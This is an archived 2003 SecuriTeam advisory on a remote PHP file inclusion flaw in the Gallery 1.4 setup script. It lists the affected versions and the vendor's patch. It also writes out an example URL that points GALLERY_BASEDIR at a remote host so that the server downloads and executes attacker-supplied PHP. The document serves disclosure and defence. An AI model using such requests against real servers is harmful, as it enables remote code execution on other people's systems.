[UNIX] Gallery Include() File Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 10/13/03
- Previous message: SecuriTeam: "[UNIX] slocate Buffer Overflow (-i, -d, Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 13 Oct 2003 20:36:23 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Gallery Include() File Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://gallery.sourceforge.net/> Gallery is "a Web-based software
product that lets you manage photos on any Web site that offers PHP
support. With Gallery, you can easily create and maintain albums of photos
via an intuitive interface. Photo management includes automatic thumbnail
creation, image resizing, rotation, ordering, captioning, searching, and
more. Albums can have read, write, and caption permissions per individual
authenticated user for an additional level of privacy".
A vulnerability in the Gallery product allows remote attackers to include
arbitrary PHP code and cause it to be executed by the web server
environment.
DETAILS
Vulnerable systems:
* Gallery version 1.4
* Gallery version 1.4-pl1
* Gallery version 1.4.1 (unreleased; prior to build 145)
Immune systems:
* Gallery version 1.4-pl2 (
<http://sf.net/project/showfiles.php?group_id=7130&release_id=184028>
http://sf.net/project/showfiles.php?group_id=7130&release_id=184028)
* Gallery version 1.4.1 (unreleased; build 145)
It is possible to include any PHP file from a remote host, and execute it
on the target's server.
Example:
By requesting the following URL:
http://victim/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://tester/
The file "http://tester/util.php" will be downloaded and included. This
file could look like this:
<?php echo "Vulnerable"; ?>
(NOTE: the URL mentioned is accessible only during the setup of Gallery)
Vendor response:
"We strongly recommend that you upgrade to 1.4-pl2 immediately. However,
if you do not want to install the entire 1.4-pl2 update, there are two
simple approaches you can take to secure your system:
1. Delete gallery/setup/index.php
This will also disable the configuration wizard for you until you restore
this file or upgrade to a secure release.
--Or--
2. Open gallery/setup/index.php in a text editor and change the following
lines:
if (!isset($GALLERY_BASEDIR)) {
$GALLERY_BASEDIR = '../';
}
To this:
$GALLERY_BASEDIR = '../';
Note that all we are doing is deleting two lines of code."
ADDITIONAL INFORMATION
The information has been provided by <mailto:pcs@rootquest.com> Peter
Stöckli and <mailto:bharat@menalto.com> Bharat Mediratta.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] slocate Buffer Overflow (-i, -d, Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Gallery Cross Site Scripting Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in Gallery
allows a remote attacker to inject and execute ... The cross site scripting injection can
be done using the classical tag ... (Securiteam) - [UNIX] PHP Images Galleries EXIF Metadata XSS Multiple Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A large majority of PHP Images
Gallery Technologies now handle the ... Exchangeable Image File (EXIF) header of jpeg
files. ... * Gallery version 1.5.1-RC2 and prior ... (Securiteam) - [UNIX] Artmedic Links File Inclusion Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... links generating PHP
script", has been found to contain an external file ... The file inclusion vulnerability
allows a remote ... (Securiteam) - [UNIX] Multiple Vulnerabilities within PHP 4/5 (pack, unpack, safe_mode_exec_dir, safe_mode, realpat
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... PHP is "a widely-used general-purpose
scripting language that is ... several vulnerabilities within PHP were ... unserialize()
- Wrong Handling of Negative References ... (Securiteam) - [UNIX] Dotdeb PHP Email Header Injection Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Dotdeb PHP Email Header Injection
Vulnerability ... This patch adds an X-PHP-Script header to ... (Securiteam)